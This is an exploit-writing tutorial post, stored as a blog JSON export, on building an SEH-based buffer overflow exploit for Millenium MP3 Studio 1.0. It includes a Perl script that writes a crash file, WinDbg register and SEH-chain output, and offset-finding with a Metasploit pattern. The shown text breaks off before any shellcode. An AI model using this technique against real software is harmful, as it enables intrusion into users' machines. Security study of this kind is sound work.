{"id":2167,"date":"2009-07-28T20:15:17","date_gmt":"2009-07-28T18:15:17","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=2167"},"modified":"2009-07-28T20:15:17","modified_gmt":"2009-07-28T18:15:17","slug":"seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","title":{"rendered":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example"},"content":{"rendered":"

In the previous tutorial post<\/a>, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this :<\/p>\n

\n
[Junk][next SEH][SEH][Shellcode]<\/pre>\n<\/div>\n
I have indicated that SEH needs to be overwritten by a pointer to \u201cpop pop ret\u201d and that next SEH needs to be overwritten with 6 bytes to jump over SEH\u2026 Of course, this structure was based on the logic of most SEH based vulnerabilities, and more specifically on the vulnerability in Easy RM to MP3 Player. So it\u2019s just an example behind the concept of SEH based vulnerabilities. You really need to look to all registers, work with breakpoints, etc, to see where your payload \/ shellcode resides\u2026 look at your stack and then build the payload structure accordingly\u2026  Just be creative.<\/p>\n
Sometimes you get lucky and the payload can be built almost blindfolded. Sometimes you don\u2019t get lucky, but you can still turn a somewhat hard to exploit vulnerability into a stable exploit that works across various versions of the operating system.   And sometimes you will need to hardcode addresses because that is the only way to make things work. Either way, most exploits don\u2019t look the same. They are manual and handcrafted work, based on the specific properties of a given vulnerability and the available methods to exploit the vulnerability.<\/p>\n
In today\u2019s tutorial, we\u2019ll look at building an exploit for a vulnerability that was discovered in Millenium MP3 Studio 1.0, as reported at http:\/\/www.milw0rm.com\/exploits\/9277<\/a>.<\/p>\n
You can download a local copy of Millenium MP3 Studio here :<\/p>\n
\n
[download id=39]<\/p>\n<\/blockquote>\n
The proof of concept script states that (probably based on the values of the registers), it\u2019s easy to exploit\u2026 but it did not seem to work for the person who discovered the flaw and posted this PoC script.<\/p>\n
\"image\"<\/a><\/p>\n
Based on the values in the registers displayed by \u201cHack4love\u201d, one could conclude that this is a typical stack based overflow, where EIP gets overwritten with the junk buffer\u2026 so you need to find the offset to EIP, find the payload in one of the registers, overwrite EIP with a \u201cjump to\u2026\u201d and that\u2019s it ?   Well\u2026 not exactly.<\/p>\n
Let\u2019 see.   Create a file with \u201chttp:\/\/\u201d+5000 A\u2019s\u2026 What do you get when you run the application via windbg and open the file ?   We\u2019ll create a mpf file :<\/p>\n
<\/div>\n
my<\/span> $sploitfile="c0d3r.mpf<\/span>";\nmy<\/span> $junk = "http:\/\/<\/span>";\n$junk=$junk."A<\/span>"x5000;\nmy<\/span> $payload=$junk;\nprint<\/span> " [+] Writing exploit file $sploitfile\\n<\/span>";\nopen<\/span> (myfile,">$sploitfile<\/span>");\nprint<\/span> myfile $payload;close<\/span> (myfile);\nprint<\/span> " [+] File written\\n<\/span>";\nprint<\/span> " [+] <\/span>" . length<\/span>($payload)." bytes\\n<\/span>";<\/pre>\n
Open windbg and open the mp3studio executable. Run the application and open the file. (I\u2019m not going to repeat these instructions every time, I assume you know the drill by now)<\/p>\n
<\/div>\n
First chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c\neip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0\nnv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00010206*** WARNING: Unable to verify checksum for image\n00400000*** ERROR: Module<\/span> load completed but symbols could not be loaded for image\n00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????\nMissing image name, possible paged-out or corrupt data.<\/pre>\n
Right, access violation\u2026 but the registers are nowhere near the ones mentioned in the PoC script. So either the buffer length is wrong (to trigger a typical stack based EIP overwrite overflow), or it\u2019s a SEH based issue.  Look at the SEH Chain to find out :<\/div>\n
0:000> !exchain0012f9a0:\n<Unloaded_ud.drv>+41414140 (41414141)\nInvalid exception stack at 41414141<\/pre>\n
<\/div>\n
ah, ok. Both the SE Handler and the next SEH are overwritten. So it\u2019s a SEH based exploit.<\/p>\n
Build another file with a 5000 character Metasploit pattern in order to find the offset to next SEH and SE Handler :<\/p>\n
Now SEH chain looks like this :<\/p>\n
0:000> !exchain0012f9a0:\n<Unloaded_ud.drv>+30684638 (30684639)\nInvalid exception stack at 67463867<\/pre>\n
So SE Handler was overwritten with 0x39466830 (little endian, remember), and next SEH was overwritten with 0x67384667<\/p>\n